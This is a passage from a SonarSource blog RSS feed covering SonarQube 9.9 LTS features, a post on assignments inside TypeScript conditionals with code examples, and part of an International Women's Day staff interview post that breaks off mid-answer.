href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;seen our announcement&lt;/a&gt; and are working on your upgrade!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A new SonarQube LTS represents a huge amount of work. Since the release of the previous SonarQube LTS (8.9, in May 2021), there have been thousands of development tickets merged in SonarQube and its underlying components. This includes new functionality, improvements to existing features, and bug fixes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s a lot, and if we tried to talk about every change, we’d be here a while. Since not everything can land in our big release announcements, I want to tell you about 9 cool features you might not know are included in the SonarQube 9.9 LTS.&lt;/p&gt;&lt;h2&gt;#1 - SonarQube starts up 35% faster&lt;/h2&gt;&lt;p&gt;SonarQube 9.9 LTS starts up 35% faster than SonarQube 8.9 LTS! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This was accomplished by reducing the number of checks made on the database when no plugins have changed between start-ups (and even still a 15% improvement when plugins &lt;strong&gt;have&lt;/strong&gt; changed).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This means less downtime and faster troubleshooting – which is all anyone working in Operations could ask for.&lt;/p&gt;&lt;h2&gt;#2 - Detect file moves in pull requests&lt;/h2&gt;&lt;p&gt;SonarQube now detects when files have been moved as part of a pull request. This may sound minor, but it’s a big deal! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Previously, when files were renamed as part of a pull request, SonarQube identified those files as new and re-raised all the old issues in that moved code as being new in the PR. In SonarQube 9.9 LTS, the behavior is more in line with the user experience for analyzing branches, i.e. old issues in moved files are ignored, and developers can focus on what’s important: changed code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Renamed files &lt;em&gt;and&lt;/em&gt; changed some code? Don’t worry, SonarQube still detects those changed lines as being new code.&lt;/p&gt;&lt;h2&gt;#3 - Encrypt DevOps Platform Secrets&lt;/h2&gt;&lt;p&gt;DevOps Platform Secrets (like Personal Access Tokens) could previously only be stored in SonarQube’s database in plain text. In SonarQube 9.9 LTS those secrets can be &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/security/&quot;&gt;encrypted&lt;/a&gt; like any other setting, keeping them safe in the event of a security incident.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0d4f4f71-079c-4d06-b45c-a5d8e6f92772/Screenshot%202023-03-10%20at%2010.07.11.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;#4 - Anonymize user details using the Web API&lt;/h2&gt;&lt;p&gt;It has always been possible to “deactivate” a user in SonarQube, but this did not remove user information from the UI and from the database. &lt;/p&gt;&lt;p&gt;To comply with the strict GDPR requirement of some organizations, while maintaining the integrity of the information stored in SonarQube, we’ve introduced a new web service in SonarQube 9.9 LTS to allow for the &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/authentication/overview/#delete-users-personal-information&quot;&gt;anonymization of user data.&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;#5 - Support for new language versions&lt;/h2&gt;&lt;p&gt;Programming languages are constantly evolving and new versions are regularly being released. SonarQube 9.9 LTS adds support for the latest versions of the programming languages you’re using, making sure analysis doesn’t fail on new language features and that rules stay relevant even in a new context.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Language&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;SonarQube v8.9 (former LTS)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;SonarQube v9.9 LTS&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;C#&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;11*&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;C++&lt;/td&gt;&lt;td&gt;C++20 (partial)&lt;/td&gt;&lt;td&gt;C++20 (except modules)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Go&lt;/td&gt;&lt;td&gt;1.15&lt;/td&gt;&lt;td&gt;1.19&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Java&lt;/td&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;18&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;JavaScript&lt;/td&gt;&lt;td&gt;ECMAScript 2020&lt;/td&gt;&lt;td&gt;ECMAScript 2022&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Kotlin&lt;/td&gt;&lt;td&gt;1.4&lt;/td&gt;&lt;td&gt;1.7&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;PHP&lt;/td&gt;&lt;td&gt;8.0&lt;/td&gt;&lt;td&gt;8.2&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Python&lt;/td&gt;&lt;td&gt;3.9&lt;/td&gt;&lt;td&gt;3.11&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Ruby&lt;/td&gt;&lt;td&gt;3.0&lt;/td&gt;&lt;td&gt;3.2&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;RPG&lt;/td&gt;&lt;td&gt;7.1&lt;/td&gt;&lt;td&gt;7.4&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Scala&lt;/td&gt;&lt;td&gt;2.13&lt;/td&gt;&lt;td&gt;3.2&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Swift&lt;/td&gt;&lt;td&gt;5.3&lt;/td&gt;&lt;td&gt;5.7&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;TypeScript&lt;/td&gt;&lt;td&gt;4.2&lt;/td&gt;&lt;td&gt;4.9&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;em&gt;* Rome wasn’t built in a day. :) SonarQube no longer fails to analyze C# 11 projects, but full support is still to come&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;#6 - Detection of inactive projects takes into account branches and PRs&lt;/h2&gt;&lt;p&gt;Removing inactive projects from a SonarQube instance is good practice for SonarQube administrators, especially as instances grow larger and larger. It has always been possible for an administrator to bulk delete projects based on the last analysis, but only the date of the last analysis of the main branch was considered.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This could result in active projects being deleted by mistake.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube 9.9 LTS when projects are deleted from an instance in bulk based on their analysis date – all branches and pull requests are considered!&lt;/p&gt;&lt;h2&gt;#7 - Delegate Quality Gate Administration&lt;/h2&gt;&lt;p&gt;Big companies don&amp;#x27;t often have a single set of administrators that can decide and administrate Quality Gates for all projects. And, in SonarQube 8.9 LTS, every user with Quality Gate administration rights can update and assign any Quality Gate so administrators wisely don&amp;#x27;t want to widely grant this right.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube 9.9 LTS it’s possible to delegate the administration of customized Quality Gates to SonarQube users and groups to remove administrative overhead and give more autonomy to teams!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f72deca8-551f-49f1-9e6c-4e3017b8a026/Screenshot%202023-03-10%20at%2010.31.25.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;#8 - In-app notifications when new versions are available&lt;/h2&gt;&lt;p&gt;Never miss a new version of SonarQube with in-app notifications of new versions for system administrators.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5efe1c4b-219d-4a77-b2d4-9a608b93fe24/Screenshot%202023-02-21%20at%2011.06.31.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 is an LTS version – meaning it will be maintained for at least 18 months with security and bug fixes. It’s important to run the latest patch version for the best security and reliability.&lt;/p&gt;&lt;h2&gt;#9 - Parallel processing of analysis reports submitted for the same project&lt;/h2&gt;&lt;p&gt;In the Enterprise Edition of SonarQube, administrators gain the ability to increase the number of Compute Engine workers that process analysis reports. The Data Center Edition takes this further and allows operators to set up multiple SonarQube nodes to process even more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And, there has always been a limitation that only one analysis per project could be analyzed at the same time. This was especially frustrating when pull requests (which are processed quickly) were held up by analyses of an unrelated branch.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With SonarQube 9.9 LTS, multiple pull request analyses for the same project can now be processed simultaneously, &lt;strong&gt;and&lt;/strong&gt; while other branches are being analyzed. This means developers get the information they need faster than before, and their code changes will get merged sooner too.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This feature is opt-in and you can find more information in the &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/compute-engine-performance/#parallel-processing-of-pull-request-and-branch-analyses&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Just an upgrade away from it all&lt;/h2&gt;&lt;p&gt;If you haven’t tried SonarQube 9.9 LTS yet, I hope you now have 9 more reasons to prepare that upgrade with your team. This is a free version upgrade for all, and you can get the LTS in just a few clicks @ &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube Downloads&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Need more help getting started? Check the following resources:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;SonarQube LTS Upgrade Checklist&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Get help upgrading using the &lt;a href=&quot;https://community.sonarsource.com/c/sq/9-9-lts-upgrade/47&quot;&gt;9.9 LTS Upgrade category of the Sonar Community&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In a few weeks, we&amp;#x27;ll share &lt;strong&gt;another&lt;/strong&gt; 9 reasons to upgrade to SonarQube 9.9 LTS (or better yet, let you know how to take advantage of the instance you&amp;#x27;ve already upgraded)!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Common TypeScript Issues Nº 1: assignments within sub-expressions]]></title><description><![CDATA[We crunched the data from SonarLint to discover the top 5 most common TypeScript issues. In this 5 part series, we outline each issue and how to avoid it.]]></description><link>https://www.sonarsource.com/blog/common-typescript-issues-no-1-assignments-within-sub-expressions</link><guid isPermaLink="false">b6366fd7-489c-5307-affb-5fd2e6f485cb</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Wed, 08 Mar 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&amp;#x27;ve been counting down our top 5 issues that SonarLint catches in TypeScript projects, and we&amp;#x27;ve reached the top of the list. This issue is outstanding in its simplicity and potential to cause very hard-to-spot bugs.&lt;/p&gt;&lt;p&gt;Grab your editor and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;install SonarLint&lt;/a&gt; if you don&amp;#x27;t already have it. You can then copy and paste the example code below to try these for yourself. This particular issue applies to JavaScript codebases as well as TypeScript. &lt;/p&gt;&lt;h1&gt;Nº 1: assignments within sub-expressions&lt;/h1&gt;&lt;p&gt;Have you ever written a conditional and then tested it out to find that it was not behaving how you&amp;#x27;d expected it to? Whether or not the expression in the conditional is true or false, the code inside the conditional is still running. You go back to the code, checking every part of the expression and tracing the values back through the code. You verify everything is correct about it. You take one last look at it, ready to bang your head against the desk, close your laptop and go home for the day.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, you spot it. The bug. There it is:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (theThing = theOtherThing) {
  // the things are the same, do some stuff
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Inside the expression lies a single equals sign, the assignment operator. The sub-expression isn&amp;#x27;t checking whether the two variables are equal, it is assigning one to the other, and the conditional is being evaluated based on whether &lt;code&gt;theOtherThing&lt;/code&gt; is a truthy value. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The expression is missing an &lt;code&gt;=&lt;/code&gt; (or perhaps two). It&amp;#x27;s a pain of a bug to figure out, it can take a long time to spot the last mistake you&amp;#x27;d thought you&amp;#x27;d make, and when you do find it, you kick yourself.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s easy to spot in an isolated example like this but consider a more fully formed function:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function request(
  method: string,
  path: string,
  options: Record&lt;string, string&gt;
) {
  if (method = &quot;GET&quot;) {
    path = `${path}?${new URLSearchParams(options).toString()}`;
    return fetch(path, { method: &quot;GET&quot; });
  } else {
    return fetch(path, {
      method,
      body: JSON.stringify(options),
    });
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It&amp;#x27;s not so obvious that the function above reassigns the &lt;code&gt;method&lt;/code&gt; variable to the string &lt;code&gt;GET&lt;/code&gt; and will always make a &lt;code&gt;GET&lt;/code&gt; request regardless of the method supplied.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That&amp;#x27;s why &lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-1121&quot;&gt;assignment within sub-expressions&lt;/a&gt; is our number one issue discovered by SonarLint in TypeScript projects. Thankfully there aren&amp;#x27;t too many of these bugs in the wild, because they get caught by testing, linting, or by tooling like SonarLint. But between hunting for the bug or it being flagged in my editor as soon as I make the mistake, I know which I&amp;#x27;d prefer.&lt;/p&gt;&lt;h2&gt;Other causes&lt;/h2&gt;&lt;p&gt;Assigning inside a conditional is normally a bug, but there are other sub-expressions that assignments can crop up in. In these cases, the issue is less about correctness and more about readability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Consider an example like this calculator class:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Calculator {
  result: number;

  constructor() {
    this.result = 0;
  }

  add(value: number) {
    return (this.result = this.result + value);
  }

  subtract(value: number) {
    return (this.result = this.result - value);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can use it like so:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const calculator = new Calculator();
calculator.add(4);
// =&gt; 4
calculator.subtract(2);
// =&gt; 2
console.log(calculator.result);
// =&gt; 2&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Each time you use the &lt;code&gt;add&lt;/code&gt; or &lt;code&gt;subtract&lt;/code&gt; methods the object returns the result, but also sets that result in an instance variable. In both functions, this is done in one line, conflating returning the value with storing it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There is no bug here, the object works as expected, but this issue lies in the readability of the functions. It is unexpected to find an assignment in a return statement, and when you do you then need to read over the assignment in order to see the actual return value. This might be useful if you are trying to &lt;a href=&quot;https://en.wikipedia.org/wiki/Code_golf&quot;&gt;golf&lt;/a&gt; your code, but things are much more readable if you assign in one statement and then return the value in another.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While this is a relatively simple example, I have seen plenty of versions of this in real codebases where assigning and returning make reading the result much harder. In each of these cases, it is possible to make the assignment on one line and then return the result on the next line. It&amp;#x27;s more explicit and thus clearer to someone else reading the code.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Calculator {
  result: number;

  constructor() {
    this.result = 0;
  }

  add(value: number) {
    this.result = this.result + value;
    return this.result;
  }

  subtract(value: number) {
    this.result = this.result - value
    return this.result;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Install &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; in your editor and you&amp;#x27;ll get notified if you &lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-1121&quot;&gt;accidentally assign inside of a conditional&lt;/a&gt;, avoiding those bugs, or if you&amp;#x27;re affecting readability by &lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-1121&quot;&gt;assigning within another expression&lt;/a&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6a8603e5-3bca-4939-b09a-fdafdc270ce6/GIF%20assignments%20within%20sub-expressions%20No.1.gif&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h1&gt;That&amp;#x27;s a wrap&lt;/h1&gt;&lt;p&gt;That&amp;#x27;s our countdown of the top 5 common issues we&amp;#x27;ve found in TypeScript projects with SonarLint. Over this series we&amp;#x27;ve covered:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;5. &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-5-optional-property-declarations/&quot;&gt;Optional property declarations&lt;/a&gt;&lt;/p&gt;&lt;p&gt;4. &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-4-don-t-create-and-drop-objects-immediately/&quot;&gt;Creating and dropping objects immediately&lt;/a&gt;&lt;/p&gt;&lt;p&gt;3. &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-3-unused-local-variables-and-functions/&quot;&gt;Unused local variables and functions&lt;/a&gt;&lt;/p&gt;&lt;p&gt;2. &lt;a href=&quot;https://www.sonarsource.com/blog/common-typescript-issues-no-2-non-empty-statements/&quot;&gt;Non-empty statements&lt;/a&gt;&lt;/p&gt;&lt;p&gt;and, finally, today&amp;#x27;s issue&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Assignments within sub-expressions &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I hope this has been an interesting trip through some of the issues you might have encountered in your own TypeScript, and hopefully cleared up before you commit. Check out the full set of &lt;a href=&quot;https://rules.sonarsource.com/typescript&quot;&gt;TypeScript rules&lt;/a&gt; to see what other issues SonarLint can help you avoid. And if there are any rules you think should have made this top 5, let us know on Twitter at &lt;a href=&quot;https://twitter.com/SonarSource&quot;&gt;@SonarSource&lt;/a&gt; or in the &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;community&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Celebrating International Women's Day with the women of Sonar]]></title><description><![CDATA[Sonar is celebrating International Women's Day (March 8) with interviews from women across our many teams about their careers in technology.]]></description><link>https://www.sonarsource.com/blog/international-womens-day-at-sonar</link><guid isPermaLink="false">15f81713-dca4-57de-b0fd-796871087e85</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Wed, 08 Mar 2023 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.internationalwomensday.com/&quot;&gt;International Women&amp;#x27;s Day&lt;/a&gt; (March 8) is a day dedicated to celebrating the social, economic, cultural, and political achievements of women around the globe. Women play an ever-present, evolving, and essential role in society and the workplace. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From Ada Lovelace, the first computer programmer, to Radia Perlman, the mother of the internet, and beyond, countless impressive women have changed the course of the world with their intelligence, drive, and technological advancement. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We at Sonar want to recognize the impressive women that aid in the continued success of our culture and our business every day. Today, we&amp;#x27;re interviewing women across Sonar&amp;#x27;s many teams about their careers in technology.&lt;/p&gt;&lt;h3&gt;How did you get into a career in technology?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linkedin.com/in/megan-wilson-20414b41/&quot;&gt;Megan Wilson&lt;/a&gt;, Support Engineer&lt;/strong&gt;: My dad minored in computer science in college, and he worked on computers as a hobby when I was growing up. Because of this, I&amp;#x27;ve had a computer since I was three. I learned about computers from him, and then took a programming class in high school, where I realized it was what I wanted to do. So I was a computer science major in college and got a job in Austin afterward. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linkedin.com/in/ashelena-leveille/&quot;&gt;Ashelena Leveille&lt;/a&gt;, Customer Success&lt;/strong&gt;: I grew up in a tech family. My dad started as a programmer of mainframes before I was born and still works in technology. My mom started her career as a switchboard operator in telecommunications, then she was a stay-at-home mom, and then she ran an audio-visual company. She also became a systems engineer, so for me, growing up, it was all about new technology in the house - new computers and the internet - things that other people hadn&amp;#x27;t seen before. It was completely fascinating to me, so going into a career in technology was a no-brainer.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linkedin.com/in/jeanjimbo/&quot;&gt;Jean Jimbo&lt;/a&gt;, Product Manager&lt;/strong&gt;: I went the traditional route of studying computer science. When I finished high school, and went to university, out of the options I had, computer science was one of them. I was trying to pick a field of study that was future-proof. Growing up, I used my mom and dad&amp;#x27;s computers and found them fun. I thought they were super useful and they opened the world to me. Consequently, whenever I had an opportunity to do something related to tech, I always took it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linkedin.com/in/clairevillard/&quot;&gt;Claire Villard&lt;/a&gt;, SonarCloud Backend Developer&lt;/strong&gt;: When I was a child I used to fix small pieces of equipment from the house or the car with my father. This thinking process is what I like about my job - starting with a problem and using your knowledge, sometimes your intuition, to test ideas and find solutions. This, plus a global interest in science led me to an engineering school and then to my first developer job. What I love about my job is problem-solving and being a developer with hands-on the code almost every day.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linkedin.com/in/kirti-joshi-pmm/&quot;&gt;Kirti Joshi&lt;/a&gt;, Product Marketing&lt;/strong&gt;: I come from a family with a very strong science background. My dad was a virologist. He researched infectious diseases and my mom was a science and math teacher. So from the beginning, we had a lot of exposure to science and technology in the house. This naturally led me to pursue a career in engineering and technology. I have a masters in computer, electrical, and computer engineering and spent the first ten years of my career in the semiconductor industry doing chip design. Then I was naturally inclined to the business side of things and conscientiously steered my career into product marketing where I am today.&lt;/p&gt;&lt;h3&gt;What or who inspires you when it comes to your career?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Megan&lt;/strong&gt;: What inspires me is that technology allows you to become independent and empowered by having these little tools in your tool belt and being able to create something. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ashelena&lt;/strong&gt;: My mom. She was able to build this rich career in technology after being a stay-at-home mom was incredibly inspiring. I grew up going to her office and seeing all of these great things. Knowing that it&amp;#x27;s possible for a woman to do anything and lead in technology was inspiring to me.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Jean&lt;/strong&gt;: This answer has changed depending on the season of my career. Early on in my career, it was my brother because he was in tech, and it piqued my interest. In a different season, where I struggled to find my place, I had this amazing manager who built a diverse team. The manager made me see that you can be in this technical role and still build people up in a healthy and helpful way. And in this season of my life, I have a friend that dreamt of being a head of marketing, and she made it happen. And she makes me think about my long-term goals and how I can achieve them. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I’m also inspired by Grace Hopper, one of the first female programmers and a United States Navy Rear Admiral. You can&amp;#x27;t help but wonder what life was like for her, and at the same time, she was able to achieve so much and make such a name for herself. It must have been amazing to work with her.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Claire&lt;/strong&gt;: I try to find someone that I aspire to be and then I try to figure out how to achieve what they’re doing. I&amp;#x27;m also a member of the women in tech community named &lt;a href=&quot;https://www.duchess-france.fr/&quot;&gt;Duchess France&lt;/a&gt;. Thanks to that community, I’ve met really inspiring people that are very active in the open source community with strong values and very successful careers. Being able to meet with such role models is really inspiring for me. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Kirti&lt;/strong&gt;: I love to solve complex problems and explain them in easily understood terms. That&amp;#x27;s the thing that inspires me most about my career. Throughout my career, I’ve met some outstanding women and I was really inspired by them because of the way they carried themselves, their confidence, and their approachable nature. Also, seeing younger generations grow into strong leaders is very inspiring to me.&lt;/p&gt;&lt;h3&gt;What advice would you give to a young woman entering the tech industry?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Megan&lt;/strong&gt;: I volunteer to help teach computer science to students, and many of my students have this huge hurdle to overcome when they encounter their first error.  When this happens to girls, they tend to feel more critiqued by the computer, and delete everything. So they will only have work to show instead of trying to figure out what the error is. The fear of revealing something wrong is worse than just revisiting the fundamentals. Female programmers are so strong that they make sure their foundation is rock solid, but it also slows them down at first because they don&amp;#x27;t show their errors. My advice is to be brave enough to show the error you encounter to your teachers or managers and ask for help.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ashelena&lt;/strong&gt;: My best advice is to remember that any job is possible in technology. No matter your skills or what you love to do, there is a path for you. The industry constantly evolves and creates new roles for men and women who want to be in tech. Get out there and ask questions. If you have a local networking group that you can join to talk to other folks about what they do, that&amp;#x27;s helpful. Remember that the industry is entirely open to whatever suits you.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Jean&lt;/strong&gt;: My career, like most people, might look like a straight line, but I tried many different things to figure out where exactly I fit. Opportunities come from places you don&amp;#x27;t expect. If you want to make a name for yourself, find tech that&amp;#x27;s up and coming. If there are new technologies or ideas people are exploring, get involved. Being an early adopter helps you differentiate yourself because you contribute to building something from scratch. Also, If you feel imposter syndrome, finding a mentor and a sponsor is significant. They&amp;#x27;ll help you remember why you got to where you are and encourage you to move on to the next step and keep track of your successes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Claire&lt;/strong&gt;: Believe in yourself. If you think that there&amp;#x27;s something worth fighting for it or if you have a gut feeling about something, you can trust your feelings and you can trust your knowledge. This applies to your job, to development, and to all the other areas. If what makes you have a great day at work is coding, solving problems, architecture, or anything, and someone is trying to steer you away from it, fight for it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Kirti&lt;/strong&gt;: I have two pieces of advice. First, don&amp;#x27;t be afraid to be assertive. If you have a new idea, even if it&amp;#x27;s in a room full of experienced people, be confident and never be too shy. New ideas fuel innovation and bringing new ideas to the table is a gift. Second, find a mentor from the beginning that you can use as a sounding board and that can guide you through your career. I think having a strong mentor by your side is essential.&lt;/p&gt;&lt;h3&gt;What do you think the future of women in tech will look like?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Megan&lt;/strong&gt;: The future of technology could be safer, stronger, and more sustainable with the rise of women in technology. But the rise of women in tech depends on correcting the recent decline of women in the tech industry. We need to add computer literacy standardization to our school curriculums. Thankfully this is starting to be corrected. Mobile phones were marketed more to teenage girls in the 2000s. Then in the 2010s, cell phones developed into computers as smartphones, making computing more integrated into our everyday lives and pushing for a representation in education. Within the last few years, I&amp;#x27;ve seen digital games becoming more gender-neutral, especially with the rise of mobile games. As a result, young girls are beginning to have equal access to computer literacy through gaming and school. This makes me hopeful that more women will re-enter college computer science majors. In the meantime, I try to do my part to share and educate my passion for computer science.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ashelena&lt;/strong&gt;: The future of women in tech is so bright and exciting. We&amp;#x27;re already seeing more and more women entering tech every day, and the effects of women in technology - creating new things and giving new perspectives. The future is bright, especially in this generation that sees more and more women as leaders in technology. Kids and young adults of today are even more able to find ways to get into tech. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Jean&lt;/strong&gt;: I hope that we have evolved conversations about diversity. I would like to see it be a space where women feel ownership. I hope we grow past the conversations we have today and start making space for people. I want to see women driving diversified technology in different industries. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Claire&lt;/strong&gt;: I&amp;#x27;m sure it will be great. First, because I&amp;#x27;m optimistic in general, but second because I think society is changing especially in the tech industry. We see more and more women in tech and even if the gap is big and it is slow to change there are more people working against bias and lack of diversity. It takes time, but I&amp;#x27;m confident the future will be great.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Kirti&lt;/strong&gt;: I feel that the future is very bright because women are strong 